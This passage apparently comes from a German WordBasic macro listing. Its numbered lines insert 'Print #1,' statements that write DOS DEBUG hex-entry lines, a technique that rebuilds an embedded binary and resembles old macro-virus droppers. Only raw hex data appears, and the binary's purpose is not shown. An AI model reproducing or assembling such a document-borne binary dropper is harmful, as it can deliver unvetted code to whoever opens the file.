  6402. Einfügen "Print #1," + Chr$(34) + "E 0970 18 E4 F9 B3 2C DD F1 36 47 FE 2E 08 FF 8B E3 3B" + Chr$(34)
  6403. EinfügenAbsatz
  6404. Einfügen "Print #1," + Chr$(34) + "E 0980 C4 F1 31 C6 D0 F3 CD C1 73 9B 83 CE 2E 0E B1 B0" + Chr$(34)
  6405. EinfügenAbsatz
  6406. Einfügen "Print #1," + Chr$(34) + "E 0990 33 CD 81 9E 36 8E 71 90 73 8C 87 38 F0 37 CD 83" + Chr$(34)
  6407. EinfügenAbsatz
  6408. Einfügen "Print #1," + Chr$(34) + "E 09A0 BC 7C 33 C7 C3 9C 78 19 C7 81 9C 4C 31 C5 C3 1C" + Chr$(34)
  6409. EinfügenAbsatz
  6410. Einfügen "Print #1," + Chr$(34) + "E 09B0 6E 39 E7 81 9C 78 19 C5 91 9C 6C 19 66 C9 9E 2E" + Chr$(34)
  6411. EinfügenAbsatz
  6412. Einfügen "Print #1," + Chr$(34) + "E 09C0 0C 71 E0 E7 8D A3 3C 4C 19 E3 68 E4 E5 83 83 9A" + Chr$(34)
  6413. EinfügenAbsatz
  6414. Einfügen "Print #1," + Chr$(34) + "E 09D0 9D 18 66 72 CE 47 C1 F1 0E E5 8C 37 C4 F1 7D 59" + Chr$(34)
  6415. EinfügenAbsatz
  6416. Einfügen "Print #1," + Chr$(34) + "E 09E0 1B 1D C3 F0 9D 1E 44 C1 F6 39 87 63 38 EE 19 86" + Chr$(34)
  6417. EinfügenAbsatz
  6418. Einfügen "Print #1," + Chr$(34) + "E 09F0 C4 F1 E6 18 06 18 B0 E7 33 8E 71 B2 71 CD 37 A0" + Chr$(34)
  6419. EinfügenAbsatz
  6420. Einfügen "Print #1," + Chr$(34) + "E 0A00 43 39 C6 8F B1 93 38 73 87 59 C1 9D 38 67 9C 70" + Chr$(34)
  6421. EinfügenAbsatz
  6422. Einfügen "Print #1," + Chr$(34) + "E 0A10 73 66 D9 E3 1E 4C 79 9C F1 23 47 38 E3 9B 0C 67" + Chr$(34)
  6423. EinfügenAbsatz
  6424. Einfügen "Print #1," + Chr$(34) + "E 0A20 BE 38 73 C6 69 96 61 8E 1C 71 E6 32 3C B9 C9 9C" + Chr$(34)
  6425. EinfügenAbsatz
  6426. Einfügen "Print #1," + Chr$(34) + "E 0A30 4C F8 E7 0D CC F8 64 C7 27 1C 71 C6 46 47 36 7C" + Chr$(34)
  6427. EinfügenAbsatz
  6428. Einfügen "Print #1," + Chr$(34) + "E 0A40 DB 63 87 30 3E 19 83 70 C4 1F 0E 33 E1 E1 38 6E" + Chr$(34)
  6429. EinfügenAbsatz
  6430. Einfügen "Print #1," + Chr$(34) + "E 0A50 01 CE 33 93 6E 0F 81 FC 7F 07 71 B8 1D 87 C0 EC" + Chr$(34)
  6431. EinfügenAbsatz
  6432. Einfügen "Print #1," + Chr$(34) + "E 0A60 3E 07 E3 E0 7F 1F 03 B0 F0 3F 8F 01 D8 F8 1D 8F" + Chr$(34)
  6433. EinfügenAbsatz
  6434. Einfügen "Print #1," + Chr$(34) + "E 0A70 83 B8 F8 3F 0F 83 70 F8 66 1C 86 E1 D0 EE 3D 0C" + Chr$(34)
  6435. EinfügenAbsatz
  6436. Einfügen "Print #1," + Chr$(34) + "E 0A80 C7 A1 DC 5A 19 C7 23 B8 F4 33 8B 43 38 A4 77 16" + Chr$(34)
  6437. EinfügenAbsatz
  6438. Einfügen "Print #1," + Chr$(34) + "E 0A90 86 73 68 EE 3C 8C E2 D9 CE 69 19 CC B3 1C D3 33" + Chr$(34)
  6439. EinfügenAbsatz
  6440. Einfügen "Print #1," + Chr$(34) + "E 0AA0 89 26 39 B4 C7 32 4C 73 2C C7 32 9C E6 49 8E 65" + Chr$(34)
  6441. EinfügenAbsatz
  6442. Einfügen "Print #1," + Chr$(34) + "E 0AB0 98 E6 59 8E 74 99 E6 D9 9E 6D 99 E3 41 8E 36 0E" + Chr$(34)
  6443. EinfügenAbsatz
  6444. Einfügen "Print #1," + Chr$(34) + "E 0AC0 F1 B0 66 C6 11 C7 1A 0E CC 69 3B 31 83 9C 99 87" + Chr$(34)
  6445. EinfügenAbsatz
  6446. Einfügen "Print #1," + Chr$(34) + "E 0AD0 87 13 18 1E 3B 86 63 BC 30 C3 70 C6 39 D8 C6 2C" + Chr$(34)
  6447. EinfügenAbsatz
  6448. Einfügen "Print #1," + Chr$(34) + "E 0AE0 6E 4C CD 32 4C B0 6E 13 31 D7 30 DE C7 0F 99 66" + Chr$(34)
  6449. EinfügenAbsatz
  6450. Einfügen "Print #1," + Chr$(34) + "E 0AF0 6B 26 C3 32 6C 33 2C 71 E4 C9 3C CC F1 CC B8 64" + Chr$(34)
  6451. EinfügenAbsatz
  6452. Einfügen "Print #1," + Chr$(34) + "E 0B00 CC C6 39 E3 20 1E 7F C1 9C 71 B8 9B 18 C9 C9 30" + Chr$(34)
  6453. EinfügenAbsatz
  6454. Einfügen "Print #1," + Chr$(34) + "E 0B10 6C E7 86 46 70 66 1C 67 73 B1 76 31 87 13 39 B1" + Chr$(34)
  6455. EinfügenAbsatz
  6456. Einfügen "Print #1," + Chr$(34) + "E 0B20 9B 1F 1C 79 F8 E6 1F 86 60 F8 E6 3C 66 73 33 1C" + Chr$(34)
  6457. EinfügenAbsatz
  6458. Einfügen "Print #1," + Chr$(34) + "E 0B30 33 19 89 99 8C DF 99 C5 C6 5C 2E 73 63 F3 73 19" + Chr$(34)
  6459. EinfügenAbsatz
  6460. Einfügen "Print #1," + Chr$(34) + "E 0B40 B3 39 99 B1 D9 F8 CF 4C CC F3 33 1B 3C C9 8C 73" + Chr$(34)
  6461. EinfügenAbsatz
  6462. Einfügen "Print #1," + Chr$(34) + "E 0B50 1C 63 33 89 E3 38 7F 13 B9 DE 73 F1 E6 1F 81 E0" + Chr$(34)
  6463. EinfügenAbsatz
  6464. Einfügen "Print #1," + Chr$(34) + "E 0B60 FC 0F 07 E1 F8 3E 0F 83 E0 78 3E 07 81 F0 78 1E" + Chr$(34)
  6465. EinfügenAbsatz
  6466. Einfügen "Print #1," + Chr$(34) + "E 0B70 07 81 E0 7C 3E 87 87 91 F0 F1 3E 3C 8F 0F 91 E1" + Chr$(34)
  6467. EinfügenAbsatz
  6468. Einfügen "Print #1," + Chr$(34) + "E 0B80 E4 78 7C 0F 0F 03 E3 E4 78 7C 1F 1B 83 E3 60 FC" + Chr$(34)
  6469. EinfügenAbsatz
  6470. Einfügen "Print #1," + Chr$(34) + "E 0B90 6C 9F 0D 93 A3 B0 74 76 0E 07 C1 E0 F8 3C 1F 07" + Chr$(34)
  6471. EinfügenAbsatz
  6472. Einfügen "Print #1," + Chr$(34) + "E 0BA0 C3 60 E8 6C 1C 0D 83 93 F1 F0 74 3E 0E 87 C1 F0" + Chr$(34)
  6473. EinfügenAbsatz
  6474. Einfügen "Print #1," + Chr$(34) + "E 0BB0 F8 3E 0F 0E C0 E1 D8 98 3F 1B 0F C3 C1 F8 7C 3F" + Chr$(34)
  6475. EinfügenAbsatz
  6476. Einfügen "Print #1," + Chr$(34) + "E 0BC0 0F 07 E0 F0 FE 1E 0E E3 C0 EE 3C 1E E3 E0 E7 8F" + Chr$(34)
  6477. EinfügenAbsatz
  6478. Einfügen "Print #1," + Chr$(34) + "E 0BD0 43 AC 79 9E 33 90 70 E6 58 CF C1 B3 3B 87 63 C6" + Chr$(34)
  6479. EinfügenAbsatz
  6480. Einfügen "Print #1," + Chr$(34) + "E 0BE0 0C CC F1 DB 07 13 F0 E4 6E 1F 85 C1 30 78 E6 2C" + Chr$(34)
  6481. EinfügenAbsatz
  6482. Einfügen "Print #1," + Chr$(34) + "E 0BF0 CD E1 9E 36 31 A6 78 DC 13 8C 83 B0 74 4F 83 81" + Chr$(34)
  6483. EinfügenAbsatz
  6484. Einfügen "Print #1," + Chr$(34) + "E 0C00 CC 7C 1F 03 C1 F9 CC 8C 96 26 48 C7 99 98 F8 7E" + Chr$(34)
  6485. EinfügenAbsatz
  6486. Einfügen "Print #1," + Chr$(34) + "E 0C10 8E 4F 83 83 F8 BE 1F 0F C3 F1 78 EC 60 CC 8F 0E" + Chr$(34)
  6487. EinfügenAbsatz
  6488. Einfügen "Print #1," + Chr$(34) + "E 0C20 39 39 F8 6E 3E 67 21 D8 F8 39 1F 06 66 78 CF 1C" + Chr$(34)
  6489. EinfügenAbsatz
  6490. Einfügen "Print #1," + Chr$(34) + "E 0C30 D8 0E 06 63 60 CC 3C 79 33 43 89 CF 11 9C 39 1E" + Chr$(34)
  6491. EinfügenAbsatz
  6492. Einfügen "Print #1," + Chr$(34) + "E 0C40 0B C6 E6 33 33 9D B3 94 60 F7 71 C0 CC CE 0F 23" + Chr$(34)
  6493. EinfügenAbsatz
  6494. Einfügen "Print #1," + Chr$(34) + "E 0C50 98 1C 1E 26 E0 F8 99 CE E3 E1 71 8E 43 98 98 59" + Chr$(34)
  6495. EinfügenAbsatz
  6496. Einfügen "Print #1," + Chr$(34) + "E 0C60 38 83 86 F2 38 E3 1C 17 83 78 3E 0F E1 F8 3F 07" + Chr$(34)
  6497. EinfügenAbsatz
  6498. Einfügen "Print #1," + Chr$(34) + "E 0C70 C1 F0 7E 0F 81 E0 7C 1F 07 C0 F8 3E 0F 83 E0 F8" + Chr$(34)
  6499. EinfügenAbsatz
  6500. Einfügen "Print #1," + Chr$(34) + "E 0C80 3E 0F 83 E0 F8 3C 0F 87 D0 F8 79 1F 0F 21 E1 E4" + Chr$(34)
  6501. EinfügenAbsatz
  6502. Einfügen "Print #1," + Chr$(34) + "E 0C90 3C 1E 47 C3 C8 F8 7C 0F 87 C1 F8 F8 1F 1F 83 E1" + Chr$(34)
  6503. EinfügenAbsatz
  6504. Einfügen "Print #1," + Chr$(34) + "E 0CA0 F0 3E 1F 03 83 F0 78 3B 0F 03 B0 66 37 0E C3 70" + Chr$(34)
  6505. EinfügenAbsatz
  6506. Einfügen "Print #1," + Chr$(34) + "E 0CB0 EC 37 0F C3 70 FC 37 8F C3 F8 F0 3F 8F 03 B8 F9" + Chr$(34)
  6507. EinfügenAbsatz
  6508. Einfügen "Print #1," + Chr$(34) + "E 0CC0 1B C7 A1 FC 39 1F C3 C1 FC 3C 1F 63 C0 F2 3C 4F" + Chr$(34)
  6509. EinfügenAbsatz
  6510. Einfügen "Print #1," + Chr$(34) + "E 0CD0 19 E6 79 CF B1 CE 3E C7 18 F0 1E 33 C0 F0 FC 1B" + Chr$(34)
  6511. EinfügenAbsatz
  6512. Einfügen "Print #1," + Chr$(34) + "E 0CE0 8F A1 F0 7E 1E 87 C0 F8 3C 1F 87 C0 F8 7E 0F 87" + Chr$(34)
  6513. EinfügenAbsatz
  6514. Einfügen "Print #1," + Chr$(34) + "E 0CF0 81 C4 B8 2F 0D C3 D8 7E 1B 87 C9 E2 1C 46 0D E2" + Chr$(34)
  6515. EinfügenAbsatz
  6516. Einfügen "Print #1," + Chr$(34) + "E 0D00 70 7C 47 03 E7 BC 4E 1E 18 E3 F1 EA 3E 0F A1 F8" + Chr$(34)
  6517. EinfügenAbsatz
  6518. Einfügen "Print #1," + Chr$(34) + "E 0D10 3E 0F 07 70 5A 63 70 E6 19 93 E1 F0 6E 3D C6 F0" + Chr$(34)
  6519. EinfügenAbsatz
  6520. Einfügen "Print #1," + Chr$(34) + "E 0D20 74 1D 17 67 30 F0 3A 2F 8F 71 CE 33 C6 C0 7E 3E" + Chr$(34)
  6521. EinfügenAbsatz
  6522. Einfügen "Print #1," + Chr$(34) + "E 0D30 0F 07 61 EC 3E 1F 07 F0 FE 3F 0F C3 F0 BE 1F 8F" + Chr$(34)
  6523. EinfügenAbsatz
  6524. Einfügen "Print #1," + Chr$(34) + "E 0D40 80 F8 3E 3F 8F 63 98 F3 3C 1F 07 81 D8 1C 07 0C" + Chr$(34)
  6525. EinfügenAbsatz
  6526. Einfügen "Print #1," + Chr$(34) + "E 0D50 D3 BC 7C 07 27 C0 74 77 0E C3 9C 78 BC 07 C3 C0" + Chr$(34)
  6527. EinfügenAbsatz
  6528. Einfügen "Print #1," + Chr$(34) + "E 0D60 EF 1F 83 C4 78 DC 13 CC 78 93 F8 59 81 D8 DF 8C" + Chr$(34)
  6529. EinfügenAbsatz
  6530. Einfügen "Print #1," + Chr$(34) + "E 0D70 FC FD 8F 3C ED 8F 1C CF 8E 78 DF 1E F1 FE 39 E3" + Chr$(34)
  6531. EinfügenAbsatz
  6532. Einfügen "Print #1," + Chr$(34) + "E 0D80 FC 63 8B B1 9E 2E 85 F8 F2 0E C7 C0 FB 1F 02 EC" + Chr$(34)
  6533. EinfügenAbsatz
  6534. Einfügen "Print #1," + Chr$(34) + "E 0D90 F9 1F 73 E4 1D 8B A0 EC 59 07 63 E4 39 9F 21 EC" + Chr$(34)
  6535. EinfügenAbsatz
  6536. Einfügen "Print #1," + Chr$(34) + "E 0DA0 78 0F 23 64 39 9B 35 C4 68 8F 33 66 B8 8D 10 E6" + Chr$(34)
  6537. EinfügenAbsatz
  6538. Einfügen "Print #1," + Chr$(34) + "E 0DB0 7C C7 39 E2 1C C7 90 E6 3C 43 99 F2 1C E7 C8 73" + Chr$(34)
  6539. EinfügenAbsatz
  6540. Einfügen "Print #1," + Chr$(34) + "E 0DC0 1E 61 CC 79 8F 31 E6 3C C7 88 73 8F 01 C6 3C 67" + Chr$(34)
  6541. EinfügenAbsatz
  6542. Einfügen "Print #1," + Chr$(34) + "E 0DD0 8C 71 8E 38 D3 1E 78 F0 1E 3C 3E 4D CF 99 E1 7C" + Chr$(34)
  6543. EinfügenAbsatz
  6544. Einfügen "Print #1," + Chr$(34) + "E 0DE0 7C 99 76 7E 1C C1 E6 3C 87 81 F2 3C 67 87 70 7C" + Chr$(34)
  6545. EinfügenAbsatz
  6546. Einfügen "Print #1," + Chr$(34) + "E 0DF0 1F 8C 70 EE 78 E3 B8 9F 8E 70 EE 39 91 E7 09 C7" + Chr$(34)
  6547. EinfügenAbsatz
  6548. Einfügen "Print #1," + Chr$(34) + "E 0E00 D9 86 64 6C 03 A3 F8 6E CF 88 61 C7 20 E7 3F 87" + Chr$(34)
  6549. EinfügenAbsatz
  6550. Einfügen "Print #1," + Chr$(34) + "E 0E10 88 F2 66 34 D9 B4 71 C6 70 E3 39 C7 04 C1 CC 73" + Chr$(34)
  6551. EinfügenAbsatz
  6552. Einfügen "Print #1," + Chr$(34) + "E 0E20 8E 23 0C DB 9C 76 5C CB 18 63 80 F1 3C 27 CC 39" + Chr$(34)
  6553. EinfügenAbsatz
  6554. Einfügen "Print #1," + Chr$(34) + "E 0E30 1F 24 C9 9D 13 E6 6C CD 9F 63 2E ED D9 33 27 CC" + Chr$(34)
  6555. EinfügenAbsatz
  6556. Einfügen "Print #1," + Chr$(34) + "E 0E40 1C 07 0C 78 1C 73 CE 7C 8E 33 B2 3C 39 9E 3E 63" + Chr$(34)
  6557. EinfügenAbsatz
  6558. Einfügen "Print #1," + Chr$(34) + "E 0E50 0C 99 D1 1C E2 8C 33 C3 18 F3 BC E6 D9 E3 90 F0" + Chr$(34)
  6559. EinfügenAbsatz
  6560. Einfügen "Print #1," + Chr$(34) + "E 0E60 9E 13 86 70 4F C8 F1 3F C6 E1 E7 91 E2 7E 4F 81" + Chr$(34)
  6561. EinfügenAbsatz
  6562. Einfügen "Print #1," + Chr$(34) + "E 0E70 F3 3C 4F 81 F0 78 1F 03 C0 F0 3E 0F C1 F0 78 1F" + Chr$(34)
  6563. EinfügenAbsatz
  6564. Einfügen "Print #1," + Chr$(34) + "E 0E80 03 E1 F0 3E 1F 03 E0 F0 3F 0F 03 E0 F0 3F 1F 07" + Chr$(34)
  6565. EinfügenAbsatz
  6566. Einfügen "Print #1," + Chr$(34) + "E 0E90 E1 F0 7E 3F 07 E1 F8 7E 1F 87 E1 DC 6E 1D E3 70" + Chr$(34)
  6567. EinfügenAbsatz
  6568. Einfügen "Print #1," + Chr$(34) + "E 0EA0 CF 1B 07 7C 6F 1C F1 BE 3C E3 64 4C F3 3C 47 98" + Chr$(34)
  6569. EinfügenAbsatz
  6570. Einfügen "Print #1," + Chr$(34) + "E 0EB0 E0 F8 3F 87 E3 F8 7E 1C 87 81 E0 F8 3F 1F 83 91" + Chr$(34)
  6571. EinfügenAbsatz
  6572. Einfügen "Print #1," + Chr$(34) + "E 0EC0 F0 7C 2F 0F E3 F0 7E 1F 83 E0 F8 3E 1F C6 F1 DC" + Chr$(34)
  6573. EinfügenAbsatz
  6574. Einfügen "Print #1," + Chr$(34) + "E 0ED0 3B 0F 31 E0 38 8F 11 C7 B9 F8 7E 1F 85 E0 F8 3E" + Chr$(34)
  6575. EinfügenAbsatz
  6576. Einfügen "Print #1," + Chr$(34) + "E 0EE0 3B 87 60 FC 3C 17 C5 C0 F8 3C 1F 31 C4 F1 D8 33" + Chr$(34)
  6577. EinfügenAbsatz
  6578. Einfügen "Print #1," + Chr$(34) + "E 0EF0 99 C3 8D 8C 8C 3E 47 66 F8 BE 3D C7 90 E2 3E 33" + Chr$(34)
  6579. EinfügenAbsatz
  6580. Einfügen "Print #1," + Chr$(34) + "E 0F00 81 E1 FC 3E 13 64 E6 31 8C 73 1C 03 A0 E0 3C 47" + Chr$(34)
  6581. EinfügenAbsatz
  6582. Einfügen "Print #1," + Chr$(34) + "E 0F10 83 E2 F8 9C 33 83 71 F8 3B 8F 89 C6 38 2E 1D C1" + Chr$(34)
  6583. EinfügenAbsatz
  6584. Einfügen "Print #1," + Chr$(34) + "E 0F20 F0 E6 3D C7 39 E6 38 D7 17 26 78 E6 39 C6 23 C6" + Chr$(34)
  6585. EinfügenAbsatz
  6586. Einfügen "Print #1," + Chr$(34) + "E 0F30 6C 8D 94 71 39 E2 39 C7 78 FE 0F 63 F8 46 C5 C8" + Chr$(34)
  6587. EinfügenAbsatz
  6588. Einfügen "Print #1," + Chr$(34) + "E 0F40 3B 1F E1 F8 BF 07 C3 E8 7E 1F 03 F0 FC 3D 8F E1" + Chr$(34)
  6589. EinfügenAbsatz
  6590. Einfügen "Print #1," + Chr$(34) + "E 0F50 CC 7F 0E 63 FC 73 8F E3 CC 77 8F 31 CE 3C C7 38" + Chr$(34)
  6591. EinfügenAbsatz
  6592. Einfügen "Print #1," + Chr$(34) + "E 0F60 79 8E 70 E3 8C 71 8F C7 D8 3C C7 21 F8 79 8F 01" + Chr$(34)
  6593. EinfügenAbsatz
  6594. Einfügen "Print #1," + Chr$(34) + "E 0F70 C6 39 C6 CC E3 9C E0 7E 1E 43 E3 38 3E 1D 8F 19" + Chr$(34)
  6595. EinfügenAbsatz
  6596. Einfügen "Print #1," + Chr$(34) + "E 0F80 C8 E6 1E 63 CC 71 0E 31 83 5C C5 CE 78 EE 11 C8" + Chr$(34)
  6597. EinfügenAbsatz
  6598. Einfügen "Print #1," + Chr$(34) + "E 0F90 79 07 19 C4 18 DE 07 00 70 62 3D 8E 63 FC 3F 0F" + Chr$(34)
  6599. EinfügenAbsatz
  6600. Einfügen "Print #1," + Chr$(34) + "E 0FA0 8C EC C6 73 46 4E E0 DC 33 86 70 4E 37 87 70 E6" + Chr$(34)
  6601. EinfügenAbsatz
  6602. Einfügen "Print #1," + Chr$(34) + "E 0FB0 38 FE 31 C3 98 7C 67 23 B6 71 85 E1 BC 0E 83 B6" + Chr$(34)
  6603. EinfügenAbsatz
  6604. Einfügen "Print #1," + Chr$(34) + "E 0FC0 3E 79 33 07 2C E3 19 DF 18 E4 4F C7 C0 7C 0F 00" + Chr$(34)
  6605. EinfügenAbsatz
  6606. Einfügen "Print #1," + Chr$(34) + "E 0FD0 E2 78 99 31 CA 1A 27 71 F0 BB 1F E1 F0 75 0C C8" + Chr$(34)
  6607. EinfügenAbsatz
  6608. Einfügen "Print #1," + Chr$(34) + "E 0FE0 E8 E6 33 27 8C F1 1D 19 C8 71 9B 99 3E 1E 03 A8" + Chr$(34)
  6609. EinfügenAbsatz
  6610. Einfügen "Print #1," + Chr$(34) + "E 0FF0 71 1E 01 C3 30 4C 7F 8E 63 1D AF 39 8E C3 F3 DC" + Chr$(34)
  6611. EinfügenAbsatz
  6612. Einfügen "Print #1," + Chr$(34) + "E 1000 18 8E 03 88 F8 1E 13 46 F0 7B 3B C7 78 E3 38 73" + Chr$(34)
  6613. EinfügenAbsatz
  6614. Einfügen "Print #1," + Chr$(34) + "E 1010 0F C7 F8 F8 1F 03 C1 D8 39 8E 71 CE 39 B1 B7 79" + Chr$(34)
  6615. EinfügenAbsatz
  6616. Einfügen "Print #1," + Chr$(34) + "E 1020 B9 03 F8 CE 0B 9C 73 81 9C 37 91 D8 5F 13 F1 BE" + Chr$(34)
  6617. EinfügenAbsatz
  6618. Einfügen "Print #1," + Chr$(34) + "E 1030 67 E3 F8 1F 8B F0 76 1F C1 D8 7F 07 71 7E 1D C7" + Chr$(34)
  6619. EinfügenAbsatz
  6620. Einfügen "Print #1," + Chr$(34) + "E 1040 F8 7F 0F E0 FC 3F C3 B8 FF 0C E3 FC 33 8E F0 CE" + Chr$(34)
  6621. EinfügenAbsatz
  6622. Einfügen "Print #1," + Chr$(34) + "E 1050 39 C3 98 73 0C E3 9C 73 8E 71 CE 38 C7 38 E3 1C" + Chr$(34)
  6623. EinfügenAbsatz
  6624. Einfügen "Print #1," + Chr$(34) + "E 1060 61 8C 79 C6 39 E7 1C E3 9C 73 8F 38 C7 0E 78 8F" + Chr$(34)
  6625. EinfügenAbsatz
  6626. Einfügen "Print #1," + Chr$(34) + "E 1070 86 78 4F 0E 78 DF 0F DE 33 E3 1D C1 FC 67 87 98" + Chr$(34)
  6627. EinfügenAbsatz
  6628. Einfügen "Print #1," + Chr$(34) + "E 1080 8E 0C E4 72 3B 98 CC E0 37 19 F1 9C 64 C7 39 B9" + Chr$(34)
  6629. EinfügenAbsatz
  6630. Einfügen "Print #1," + Chr$(34) + "E 1090 1C C7 CC 71 9F 18 C6 07 02 39 CF 0C 71 C6 38 F9" + Chr$(34)
  6631. EinfügenAbsatz
  6632. Einfügen "Print #1," + Chr$(34) + "E 10A0 C1 DC 73 07 03 E1 F0 1E D0 E2 1C 61 C0 38 C1 43" + Chr$(34)
  6633. EinfügenAbsatz
  6634. Einfügen "Print #1," + Chr$(34) + "E 10B0 33 31 8E CF 8C F0 8E 31 E3 9C 67 83 39 8E 63 E2" + Chr$(34)
  6635. EinfügenAbsatz
  6636. Einfügen "Print #1," + Chr$(34) + "E 10C0 3C 0F 80 F0 1E 07 91 F9 0E 01 E0 3D 83 F0 73 0E" + Chr$(34)
  6637. EinfügenAbsatz
  6638. Einfügen "Print #1," + Chr$(34) + "E 10D0 41 F8 79 07 A0 E6 3F C3 DC 3F 87 F0 9E 19 C3 18" + Chr$(34)
  6639. EinfügenAbsatz
  6640. Einfügen "Print #1," + Chr$(34) + "E 10E0 E7 18 63 9C 31 CE 73 87 39 C8 9C 67 30 71 8E 70" + Chr$(34)
  6641. EinfügenAbsatz
  6642. Einfügen "Print #1," + Chr$(34) + "E 10F0 C6 3B C3 18 E7 0E 71 9C 1B C4 70 E7 3D F1 DC 7F" + Chr$(34)
  6643. EinfügenAbsatz
  6644. Einfügen "Print #1," + Chr$(34) + "E 1100 86 71 DC 1D C7 37 7F 0F E1 FC 1F 87 F8 1F 0F E7" + Chr$(34)
  6645. EinfügenAbsatz
  6646. Einfügen "Print #1," + Chr$(34) + "E 1110 9C 67 0E E3 FC 33 98 3D 06 78 CF 03 F8 9E 07 F0" + Chr$(34)
  6647. EinfügenAbsatz
  6648. Einfügen "Print #1," + Chr$(34) + "E 1120 3E 43 E0 7C 0F E0 FC 8F C0 F1 1F 81 E2 3E 07 C0" + Chr$(34)
  6649. EinfügenAbsatz
  6650. Einfügen "Print #1," + Chr$(34) + "E 1130 FC 1F 81 F8 3F 07 F0 7C 0F C1 F8 3F 07 E0 FE 1F" + Chr$(34)
  6651. EinfügenAbsatz
  6652. Einfügen "Print #1," + Chr$(34) + "E 1140 C1 F8 3F 07 F0 FE 0F C1 FC 3F 83 F0 3F 07 E0 7E" + Chr$(34)
  6653. EinfügenAbsatz
  6654. Einfügen "Print #1," + Chr$(34) + "E 1150 1F C1 FC 3F 83 F8 BE 07 F1 7C 1F E3 FC 3F C3 F8" + Chr$(34)
  6655. EinfügenAbsatz
  6656. Einfügen "Print #1," + Chr$(34) + "E 1160 3F C7 F0 7D C7 D8 78 E3 0E 30 F8 0F 80 FC 1F C3" + Chr$(34)
  6657. EinfügenAbsatz
  6658. Einfügen "Print #1," + Chr$(34) + "E 1170 F8 67 03 F1 DC 07 C3 F8 7F 87 F0 7E 0F E0 FC 1F" + Chr$(34)
  6659. EinfügenAbsatz
  6660. Einfügen "Print #1," + Chr$(34) + "E 1180 81 F8 3F 07 F0 78 0F 80 F0 3F 0F E0 FE 1F C1 F8" + Chr$(34)
  6661. EinfügenAbsatz
  6662. Einfügen "Print #1," + Chr$(34) + "E 1190 1F 03 E1 F6 1F C3 DC 3F 83 F0 3F 83 E0 7E 07 E0" + Chr$(34)
  6663. EinfügenAbsatz
  6664. Einfügen "Print #1," + Chr$(34) + "E 11A0 FC 1F C3 FC 3E 07 F8 7C 0F B1 F8 0F 03 F0 FE 07" + Chr$(34)
  6665. EinfügenAbsatz
  6666. Einfügen "Print #1," + Chr$(34) + "E 11B0 80 F8 0F 01 F8 1E 07 C0 7C 0F 81 F2 3B 83 C0 74" + Chr$(34)
  6667. EinfügenAbsatz
  6668. Einfügen "Print #1," + Chr$(34) + "E 11C0 1E 03 E8 7E 07 E0 FE 07 C0 FC 67 03 98 F4 17 03" + Chr$(34)
  6669. EinfügenAbsatz
  6670. Einfügen "Print #1," + Chr$(34) + "E 11D0 E0 3C 07 C2 BC 07 81 FC 2F 07 B0 7E 0F E0 FC 19" + Chr$(34)
  6671. EinfügenAbsatz
  6672. Einfügen "Print #1," + Chr$(34) + "E 11E0 C2 F1 39 C7 70 70 0F 01 F8 1F 87 F0 FF 0F E1 F8" + Chr$(34)
  6673. EinfügenAbsatz
  6674. Einfügen "Print #1," + Chr$(34) + "E 11F0 1F 83 F8 7C 03 F0 7C 0F 81 F0 1F 03 E0 7D 07 A0" + Chr$(34)
  6675. EinfügenAbsatz
  6676. Einfügen "Print #1," + Chr$(34) + "E 1200 7E 0F C0 E6 1C E3 88 78 07 B0 F4 1E C1 F0 3D 07" + Chr$(34)
  6677. EinfügenAbsatz
  6678. Einfügen "Print #1," + Chr$(34) + "E 1210 B0 F6 0E 01 C8 1C 03 80 3C 07 86 78 4F 81 F8 7F" + Chr$(34)
  6679. EinfügenAbsatz
  6680. Einfügen "Print #1," + Chr$(34) + "E 1220 07 E6 78 C7 98 E1 0E 73 C0 39 C7 1C 73 07 19 FE" + Chr$(34)
  6681. EinfügenAbsatz
  6682. Einfügen "Print #1," + Chr$(34) + "E 1230 4E E7 3B DD C8 0F CC 9C 98 0E EC FC 88 8E EC CC" + Chr$(34)
  6683. EinfügenAbsatz
  6684. Einfügen "Print #1," + Chr$(34) + "E 1240 88 4C CC F9 90 19 93 72 64 76 6F 91 27 BF F9 13" + Chr$(34)
  6685. EinfügenAbsatz
  6686. Einfügen "Print #1," + Chr$(34) + "E 1250 F7 24 7F 98 13 FE 88 9F B0 07 FE 01 7F C0 1F FC" + Chr$(34)
  6687. EinfügenAbsatz
  6688. Einfügen "Print #1," + Chr$(34) + "E 1260 01 FF 80 1F E6 41 FE 00 7F D8 13 FE 01 7F 20 0F" + Chr$(34)
  6689. EinfügenAbsatz
  6690. Einfügen "Print #1," + Chr$(34) + "E 1270 F8 01 FF C0 1F F8 03 FE 00 FF C0 1F F8 01 FF 80" + Chr$(34)
  6691. EinfügenAbsatz
  6692. Einfügen "Print #1," + Chr$(34) + "E 1280 1F E0 07 FC 09 BE 60 0F EC 09 FF 00 9F B0 07 FB" + Chr$(34)
  6693. EinfügenAbsatz
  6694. Einfügen "Print #1," + Chr$(34) + "E 1290 02 7F 80 1F D8 0B FC 81 BF 90 0F FC 03 FF 80 3F" + Chr$(34)
  6695. EinfügenAbsatz
  6696. Einfügen "Print #1," + Chr$(34) + "E 12A0 E4 0D FE 00 FF F0 07 FE 01 BF C0 1F FC 01 FF 00" + Chr$(34)
  6697. EinfügenAbsatz
  6698. Einfügen "Print #1," + Chr$(34) + "E 12B0 7F F8 13 7F 81 3F E4 0F FE 00 3F E0 0D FE 22 37" + Chr$(34)
  6699. EinfügenAbsatz
  6700. Einfügen "Print #1," + Chr$(34) + "E 12C0 E4 49 FE 64 DF 7C C9 BF E0 19 B3 20 4F EC 89 FF" + Chr$(34)
  6701. EinfügenAbsatz
  6702. Einfügen "Print #1," + Chr$(34) + "E 12D0 C0 4F FE 00 FF C8 17 F9 20 9B 6C 82 66 4C C8 CC" + Chr$(34)
  6703. EinfügenAbsatz
  6704. Einfügen "Print #1," + Chr$(34) + "E 12E0 DE 04 A6 FB 13 20 1F EC 8C EC CC 6C CC 99 14 D9" + Chr$(34)
  6705. EinfügenAbsatz
  6706. Einfügen "Print #1," + Chr$(34) + "E 12F0 99 19 B3 20 76 F9 A6 DB 20 17 6C 92 6C C8 6F E6" + Chr$(34)
  6707. EinfügenAbsatz
  6708. Einfügen "Print #1," + Chr$(34) + "E 1300 46 EC C3 3F 24 47 C9 99 3B 24 DB B2 6E EC 82 5D" + Chr$(34)
  6709. EinfügenAbsatz
  6710. Einfügen "Print #1," + Chr$(34) + "E 1310 C2 66 F9 20 CF E4 42 7B 92 3B 33 26 99 32 DB 64" + Chr$(34)
  6711. EinfügenAbsatz
  6712. Einfügen "Print #1," + Chr$(34) + "E 1320 FB 99 9D 9A 64 63 36 6C C3 32 79 B6 D9 A6 7D 32" + Chr$(34)
  6713. EinfügenAbsatz
